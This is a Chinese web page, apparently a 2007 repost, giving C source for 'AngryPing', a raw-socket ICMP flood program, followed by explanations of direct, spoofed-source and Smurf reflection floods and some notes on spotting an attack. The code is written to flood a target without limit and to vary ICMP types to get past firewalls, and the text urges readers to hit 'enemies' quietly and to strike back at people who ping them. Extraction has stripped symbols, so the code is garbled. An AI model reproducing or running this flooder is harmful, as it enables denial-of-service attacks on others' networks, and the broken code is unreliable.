1、ICMP FloodICMPflood源码 2007-11-23 10:02:38| 分类: C/C+/C# | 标签: |字号大中小 订阅 转自网络一位大牛写的ICMPflood源码 /* agp.c AnGryPing - ICMP Flooder by HBU小金(LK007) Copyright(C) 2002 E-MAIL:lk007 */ #include #include #include #pragma comment(lib, ws2_32.lib) /头文件和库文件声明,如果不能编译,请在Link里加上ws2_32.lib #define false 0 #define t
2、rue 1 #define SEQ 0x28376839 / 定义ICMP首部 typedef struct _ihdr BYTE i_type; /8位类型 BYTE i_code; /8位代码 USHORT i_cksum; /16位校验和 USHORT i_id; /识别号 USHORT i_seq; /报文序列号 ULONG timestamp; /时间戳 ICMP_HEADER; /计算校验和的子函数 USHORT checksum(USHORT *buffer, int size) unsigned long cksum=0; while(size 1) cksum+=*buffe
3、r+; size -=sizeof(USHORT); if(size ) cksum += *(UCHAR*)buffer; cksum = (cksum 16) + (cksum & 0xffff); cksum += (cksum 16); return (USHORT)(cksum); int main(int argc, char *argv) int datasize,ErrorCode,flag; int TimeOut=2000, SendSEQ=0, PacketSize=32,type=8,code=0,counter=0; /默认数据声明 char SendBuf65535
4、=0; /缓冲 WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; ICMP_HEADER icmp_header; char DestIp20; /目标IP if (argc2) printf(AngryPing by HBU-LK007n); printf(Usage:%s Dest n,argv0); /允许用户自定义数据包大小、类型、代码,用以绕过一些防火墙或做一些特殊的 /报文Flood exit(0); strcpy(DestIp,argv1); if (argc2) PacketSi
5、ze=atoi(argv2); /取得数据大小 if (PacketSize65500) printf(Packet size must less than 65500n); /太大会无法生成IP数据报的 exit(0); if (argc3) type=atoi(argv3); /取得类型值 if (type16) printf(Type must less than 16n); exit(0); if (argc4) code=atoi(argv4); /取得代码值 /初始化SOCK_RAW if(ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData)!=
6、0) fprintf(stderr,WSAStartup failed: %dn,ErrorCode); exit(0); if(SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0, WSA_FLAG_OVERLAPPED)=INVALID_SOCKET) fprintf(stderr,WSASocket failed: %dn,WSAGetLastError(); exit(0); flag=TRUE; /设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*
7、)&TimeOut, sizeof(TimeOut); if (ErrorCode=SOCKET_ERROR) fprintf(stderr,Failed to set send TimeOut: %dn,WSAGetLastError(); exit(1); /主要代码开始 printf(Dest:%s packet:%d type:%d code:%dnn,argv1,PacketSize,type,code); printf(Starting.nn); /视觉效果:P memset(&DestAddr,0,sizeof(DestAddr); DestAddr.sin_family=AF_
8、INET; DestAddr.sin_addr.s_addr=inet_addr(DestIp); /填充Socket结构 /填充ICMP首部 icmp_header.i_type = type; icmp_header.i_code = code; icmp_header.i_cksum = 0; /校验和置0 icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); /时间戳 icmp_header.i_seq=999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header); /
9、组合ICMP报文和头部 memset(SendBuf+sizeof(icmp_header), E, PacketSize); /用E填充ICMP数据 icmp_header.i_cksum = checksum(USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); /计算校验和 datasize=sizeof(icmp_header)+PacketSize; /计算整个数据包大小 /开始发送 while(1) /无限循环,按Ctrl+C跳出 /* 这里的printf实际上是为了延时,Flood程序最好别用这么华丽的界面或字符提示来美化 自己,这
10、样会迅速拖慢程序效率!当然,如果能不显示最好,但我去掉printf后,程序 死掉了(太快?)如果你觉得“Sending 1024 packets.”还是大大增加了延时,可以 改成printf(.); 一个小点。反正是自己用,用得顺手就可以。 */ printf(Sending 1024 packets.n); for(counter=0;counter受害者截获攻击者IP=211.97.54.3=换IP回来反击,嘿嘿2.伪造IP的Flood如果你是Win2000/XP并且是Administrator权限,可以试试看FakePing,它能随意伪造一个IP来Flood,让对方摸不到头脑,属于比较隐
11、蔽阴险的Flood。简单示意图: 伪造IP=1.1.1.1的ICMP攻击者IP=211.97.54.3-受害者截获攻击者IP=1.1.1.1=倒死3.反射用采取这种方式的第一个工具的名称来命名的“Smurf”洪水攻击,把隐蔽性又提高了一个档次,这种攻击模式里,最终淹没目标的洪水不是由攻击者发出的,也不是伪造IP发出的,而是正常通讯的服务器发出的!实现的原理也不算复杂,Smurf方式把源IP设置为受害者IP,然后向多台服务器发送ICMP报文(通常是ECHO请求),这些接收报文的服务器被报文欺骗,向受害者返回ECHO应答(Type=0),导致垃圾阻塞受害者的门口从示意图可以看出,它比上面两种方法多
12、了一级路径受骗的主机(称为“反射源”),所以,一个反射源是否有效或者效率低下,都会对Flood效果造成影响!简单示意图: 伪造受害者的ICMP 应答攻击者IP=211.97.54.3-正常的主机-受害者截获攻击者IP=网易?!=哭啊以上是几种常见的Flood方式,在测试中,我发现一个有趣的现象:一些防火墙(如天网)只能拦截ECHO请求(Ping)的ICMP报文,对于其他 ICMP报文一概睁只眼闭只眼,不知道其他防火墙有没有这个情况。所以想神不知鬼不觉对付你的敌人时,请尽量避开直接ECHO Flood,换用Type=0的ECHO应答或Type=14的时间戳应答最好,其他类型的ICMP报文没有详细
13、测试过,大家可以试试看Type=3、 4、11的特殊报文会不会有更大效果。六、ICMP Flood能防吗?先反问你一个问题:洪水迅猛的冲来时,你能否拿着一个脸盆来抵挡?(坐上脸盆做现代鲁宾逊倒是个不错的主意,没准能漂到MM身边呢)软件的网络防火墙能对付一些漏洞、溢出、OOB、IGMP攻击,但是对于洪水类型的攻击,它们根本无能为力,我通常对此的解释是“倾倒垃圾”:“有蟑螂或 老鼠在你家门前逗留,你可以把它们赶走,但如果有人把一车垃圾倾倒在你家门口呢?”前几天看到mikespook大哥对此有更体面的解释,转载过来“ 香蕉皮原理:如果有人给你一个香蕉和一个香蕉皮你能区分,并把没有用的香蕉皮扔掉。(一
14、般软件防火墙就是这么判断并丢弃数据包的。)但是如果有人在同一时 间内在你身上倒一车香蕉皮,你再能区分有用没用也没啥作用了因为你被香蕉皮淹没了(所以就算防火墙能区分是DoS的攻击数据包,也只能识别, 根本来不及丢弃死了,死了,死了)”所以,洪水没法防!能做的只有提高自己的带宽和预防洪水的发生(虽然硬件防火墙和分流技术能做到,但那价格是太昂贵的,而且一般人也没必要这样做)。如果你正在被攻击,最好的方法是抓取攻击者IP(除非对方用第一种,否则抓了没用假的IP)后,立即下线换IP!(什么?你是固定IP?没辙了,打电话找警察叔叔吧)七、被ICMP Flood攻击的特征如何发现ICMP Flood?当你出
15、现以下症状时,就要注意是否正被洪水攻击:1.传输状态里,代表远程数据接收的计算机图标一直亮着,而你没有浏览网页或下载2.防火墙一直提示有人试图ping你3.网络速度奇慢无比4.严重时系统几乎失去响应,鼠标呈跳跃状行走如果出现这些情况,先不要慌张,冷静观察防火墙报警的频率及IP来确认是否普通的Ping或是洪水,做出相应措施(其实大多数情况也只能换IP了)。1.普通ping这种“攻击”一般是对方扫描网络或用ping -t发起的,没多大杀伤力(这个时候,防火墙起的作用就是延迟攻击者的数据报发送间隔时间,请别关闭防火墙!否则后果是严重的!),通常表现如下:=13:09:20 61.151.252.10
16、6 尝试用Ping 来探测本机, 该操作被拒绝。13:09:24 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:26 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:30 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。=这么慢的速度,很明显是由ping.exe或IcmpSendEcho发出的,如果对方一直不停的让你的防火墙吵闹,你可以给他个真正的ICMP Flood问候。2.直接Flood这是比较够劲的真正意义洪水了,防火墙的报警密度会提高一个数量级:=13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1